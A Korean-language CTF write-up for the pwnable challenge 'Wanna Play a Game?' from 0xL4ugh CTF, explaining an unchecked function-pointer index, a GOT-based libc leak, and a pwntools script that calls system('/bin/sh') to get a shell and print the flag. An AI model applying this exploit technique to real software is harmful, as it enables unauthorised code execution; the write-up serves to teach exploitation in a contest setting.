500점이라 적혀있지만, Dynamic Score여서 130점만 획득함 ㅠㅠ
이 글은 2024.12.27 21:00 ~ 2024.12.28 21:00 동안 진행한 0xL4ugh CTF의 pwnable 문제, Wanna Play a Game?에 대한 writeUp 이다.
주어진 source code는 없기에 디컴파일 결과를 보고 분석하였다.
프로그램은 사용자로부터 이름을 입력 받은 뒤 사용자로부터 랜덤 방식과 랜덤 값을 입력 받아 프로세서의 랜덤 값과 사용자의 값이 동일한지 확인한다.
rand()
로 얻은 랜덤 값 비교 : 랜덤 값을 맞추는 데 성공하면 점수를 출력한다. 그게 끝이다./dev/random
으로 얻은 랜덤 값 비교 : 랜덤 값을 맞추는 데 성공하면 shell을 실행한다.[그림 1] binary 실행 모습
func = read_int();
printf("[*] Guess>");
param = read_int();
((void (__fastcall *)(__int64))conv[func - 1])(param);
[코드 1] main
함수의 취약한 부분
__int64 read_int()
{
__int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF
buf[5] = __readfsqword(0x28u);
memset(buf, 0, 32);
printf("> ");
if ( read(0, buf, 0x20uLL) == -1 )
{
perror("READ ERROR");
exit(-1);
}
return atol((const char *)buf);
}
((void (__fastcall *)(__int64))conv[func - 1])(param);
[코드 1]과 같이 main
에서 선택한 메뉴에 해당하는 함수를 실행할 때, conditional jump
로 함수를 실행하지 않고 함수 배열 (conv
)에서 참조하는 방식을 사용한다.
하지만, 이때 index로 사용되는 func
변수의 값은 read_int
함수로 받은 다음 어떠한 범위 검증도 하지 않는다.
이 덕분에 conv
배열이 아닌 다른 곳에 저장된 함수의 주소를 참조하여, 실행할 수 있다.
💡Goal : conv
로 shell을 실행하는 함수에 접근해서 실행하기!!
+) /dev/random
은 시스템 잡음에 기반하여 만들어진 랜덤 값이 기록되어 있으며, brute-forcing이 아닌 방법으로 이를 알아내는 것은 불가능하다.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
64bit 운영체제이기 때문에 주소의 크기는 8byte이다.
가장 먼저, 입력 값이 어디에 저장되는 지 확인한다.
username
main
함수가 호출된 직후, 입력 받는 사용자 이름은 전역 변수 username
에 저장된다.username
의 위치read_int
함수에서 사용자의 입력을 저장하는 buf
main
에서 index를 저장하는 func
와 호출할 함수의 인자로 전달될 param
conv
⇒ OOBconv
배열을 base로 OOB가 발생하므로, exploit 설계를 위해 해당 변수가 존재하는 영역을 확인한다.
[그림 3] conv
배열의 위치
[그림 3]를 보면 conv
변수는 초기화된 전역 변수가 저장되어 있는 Data Section
에 존재하는 것을 확인할 수 있다. PIE가 걸려 있지 않기에, Data Section
과 BSS Section
의 주소는 IDA로 확인한 값과 동일하다.
그럼? OOB로 임의의 함수를 실행할 준비가 다 되었다!
conv[func-1]
가 가리키는 함수를 호출할 때, func
의 범위 검증을 안 함 ⇒ OOB 발생
OOB Base를 알고 있음 : conv
의 주소 : 0x404010
BSS Section
에 있는 username
에 원하는 값을 집어 넣을 수 있음
username
과 OOB Base의 offset을 알고 있음 : 0x404080 - 0x404010 = 0x70
⇒ conv[func-1]
로 username
의 값을 참조할 수 있음!!
[그림 3]을 보면 알 수 있듯, conv
의 각 element는 8 byte이다. : dq offset : QWORD
아래 표는 conv
에서 어떻게 OOB가 발생하는 지 나타낸 것이다.
Offset 계산을 통해 username
은 conv[0x0E]
부터 시작되는 것을 알 수 있다.
Address | By username | By conv |
---|---|---|
… | … | … |
0x404088 = 0x404010 + 0x08 * 0x0F | username[0x08:0x10] | conv[0x0F] |
0x404080 = 0x404010 + 0x08 * 0x0E | username[0x00:0x08] | conv[0x0E] |
… | ||
0x404010 + 0x08 * i | conv[i] | |
… | ||
0x404018 | conv[1] | |
0x404010 | conv[0] |
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // [rsp+0h] [rbp-10h]
__int64 v4; // [rsp+8h] [rbp-8h]
setup();
printf("[*] NickName> ");
if ( read(0, &username, 0x40uLL) == -1 )
{
perror("READ ERROR");
exit(-1);
}
while ( 1 )
{
menu();
func = read_int();
printf("[*] Guess>");
param = read_int();
((void (__fastcall *)(__int64))conv[func - 1])(param);
}
}
int menu()
{
puts("= = = = = CAN YOU BEAT ME! = = = = =");
puts("[1] Easy");
return puts("[2] Hard");
}
실행할 함수 지정
만약 username
에 실행하고자 하는 함수의 주소(addr
)를 저장하고, func
에 0x0F
를 저장한다면, main
함수는 conv[func - 1]
를 실행할 때 easy
나 hard
함수를 호출하는 것이 아니라, conv[func - 1] = conv[0x0E] = addr
이 가리키는 함수를 호출하게 된다.
실행할 함수의 첫 번째 인자 지정
main
함수를 보면 conv[func - 1]
을 호출할 때 param
을 인자로 전달하는 것을 볼 수 있다. param
변수에 저장하면 된다. param
으로 포인터를 전달하고, 해당 포인터가 기리키는 값을 제어하고 싶다면, username
에 저장된 함수의 주소 다음 위치에 값을 저장하고, param
변수에는 username + 8
을 저장하면 된다. (첫 8 byte는 임의의 함수의 주소(addr
)가 저장되어 있기 때문이다.)example : system("/bin/sh")
username
에는 system
함수의 주소와 "/bin/sh\0"
문자열을 저장한다.
아래 표는 아래 코드 실행 결과 username
에 저장된 값을 나타낸 것이다.
p.sendlineafter("[*] NickName> ", &system + "/bin/sh\0")
Address | value | ||
---|---|---|---|
0x404088 | username[0x08:0x10] | conv[0x0F] | "/bin/sh\0" |
0x404080 | username[0x00:0x08] | conv[0x0E] | &system |
func
에는 0x0F를 저장한다. ⇒ conv[func - 1]
= conv[0x0E]
= system
p.sendlineafter("[2] Hard\n> ", str(0x0F))
param
에는 username
에 입력한 "/bin/sh\0"
의 주소인 0x404088
을 저장한다.
p.sendlineafter("[*] Guess>> ", str(0x404088))
이후 ((void (__fastcall *)(__int64))conv[func - 1])(param);
는
system("/bin/sh")
와 동일한 코드로 실행된다.
binary를 분석하면서 임의의 함수를 호출할 때 첫 번째 인자 이외의 인자를 설정하는 방법은 찾지 못했다. 나는 1. Analyze Binary의 3) Execute arbitrary one parameter function에서 소개한 대로 system("/bin/sh")
를 이용해 shell을 실행할 것이다. 제공된 binary에는 system
함수를 사용하고 있지 않아 libc에서 가져와야 한다. 근데 Dockerfile도 없는데 libc를 어디서 얻지?
Libc 파일은 process의 page에 맞춰서 저장되어 사용된다. 다시 말해, Libc 파일은 항상 page 단위인 0x1000의 배수인 위치에 존재한다는 것이다.
이로 인해 실행할 때마다 Libc 파일 내부의 각 함수가 load된 위치는 바뀔지라도 하위 1.5 byte는 항상 일정하다. 이는 Libc 파일 내부의 offset과 동일하기 때문이다.
이러한 특성을 이용해 Libc 파일 내부에 있는 함수의 주소의 하위 1.5 byte만 알면 remote 환경에서 binary가 사용하는 Libc 파일을 알아낼 수 있다.
주어진 binary는 puts
, open
, exit
, read
함수를 사용하므로 해당 함수의 Libc 내부에서의 주소를 얻어 Libc 파일을 특정하였다.
함수 3개 정도만 해도 충분하지만, 나는 그냥 함수 4개의 주소를 획득했다.
conv_start = 0x404010
addr_name = 0x404080
idx = (addr_name - conv_start)//8 + 1
puts_plt = 0x401030
name = p64(puts_plt)
def INPUT(name, menu, value):
p.sendlineafter(b"[*] NickName> ", name)
p.sendlineafter(b"[2] Hard\n> ", str(menu))
p.sendlineafter(b"[*] Guess>> ", str(value))
puts
: 0x??be0puts_got = 0x403F60
INPUT(name, idx, puts_got) # puts(puts@GOT)
puts_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
log.info(f"puts in libc : {hex(puts_libc)}")
open
: 0x??290open_got = 0x403FC0
INPUT(name, idx, open_got) # puts(open@GOT)
open_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
log.info(f"open in libc : {hex(open_libc)}")
exit
: 0x??940exit_got = 0x403FD0
INPUT(name, idx, exit_got) # puts(exit@GOT)
exit_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
log.info(f"exit in libc : {hex(exit_libc)}")
read
: 0x??c10read_got = 0x403F88
INPUT(name, idx, read_got) # puts(read@GOT)
read_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
log.info(f"read in libc : {hex(read_libc)}")
이렇게 획득한 주소들을 libc-database에 symbol과 함께 넣으면 알맞은 Libc 파일을 얻을 수 있다.
[그림 4] libc-database 검색 결과 : 난 제일 밑에 있는 libc-2.40-1-x86-64
를 다운 받아 사용했다.
system("/bin/sh")
Analyze Binary의 3) Execute arbitrary one parameter function에서 기술했듯, system("/bin/sh")
를 실행하기 위해서는 username
에 system
함수의 주소를 넣어야 한다. 하지만 username
은 main
함수가 호출된 직후에만 변경할 수 있기에, libc base를 획득한 상태에서는 username
을 수정할 수 없다. 이를 해결하기 위해서는 system("/bin/sh")
를 실행하기 전에 다시 main
함수를 호출해야 한다.
main(???)
main
함수를 호출하기 위해서는 conv[func - 1]
= &main
형태로 만들어야 한다.username
에 main
함수의 주소도 집어넣으면 쉽게 main
함수를 호출할 수 있다.system("/bin/sh")
maine
함수가 다시 호출된 후, username
을 1. Analyze Binary의 3) Execute arbitrary one parameter function처럼 변경하면 system("/bin/sh")
가 실행되며 shell을 얻을 수 있다.프로그램의 동작 순서에 맞춰 입력해야 하는 값을 다음과 같이 정리할 수 있다.
(단, 현재 상태에서 알맞은 Libc 파일("./libc-2.40-1-x86_64.so"
)은 이미 획득했다고 가정한다.)
기본 세팅
binary = "./chall"
libc_path = "./libc-2.40-1-x86_64.so"
libc = ELF(libc_path, checksec = False)
puts_plt = 0x401030
main = 0x401575
conv_start = 0x404010
addr_name = 0x404080
idx = (addr_name - conv_start)//8 + 1
def INPUT(name, menu, value):
p.sendlineafter(b"[*] NickName> ", name)
p.sendlineafter(b"[2] Hard\n> ", str(menu))
p.sendlineafter(b"[*] Guess>> ", str(value))
libc base leak
read
함수의 주소를 이용해 libc base를 계산했다.main
함수를 호출하기 위해 username
에 main
함수의 주소를 저장한다.
Address | value | ||
---|---|---|---|
0x404088 | username[0x08:0x10] | conv[0x0F] | &main = 0x401575 |
0x404080 | username[0x00:0x08] | conv[0x0E] | &puts = 0x401030 |
# Get Address of read in libc
read_got = 0x403F88
name = p64(puts_plt) + p64(main)
INPUT(name, idx, read_got) # puts(read@GOT)
read_libc = u64(p.recvline()[-7:-1].ljust(8, b"\x00"))
log.info(f"read in libc : {hex(read_libc)}")
# Calculate address of system
# 1. Calculate libc base
base = read_libc - libc.symbols['read']
log.info(f"libc base : {hex(base)}")
# 2. Calculate address of function system
system = base + libc.symbols['system']
log.info(f"system : {hex(system)}")
call main
# call main
menu = idx+1 # index of main stored in conv array
p.sendlineafter(b"[2] Hard\n> ", str(menu))
p.sendlineafter(b"[*] Guess>> ", str(binsh))
system("/bin/sh")
# system("/bin/sh")
name = p64(system) + b"/bin/sh\0"
value = addr_name + 8 # address of "/bin/sh" stored in username
INPUT(name, idx, value)
solution.py를 실행하면 libc base leak 이후 다시 main을 호출해 shell을 획득한다.
가독성을 위해 shell을 획득한 이후의 사진만 첨부하였다.
flag{8jvdbsDirfUK8m2ELPKSuvt5fHecHh5D}